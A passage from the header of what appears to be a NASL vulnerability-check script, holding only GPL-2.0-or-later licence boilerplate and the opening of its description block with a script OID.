referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.814888\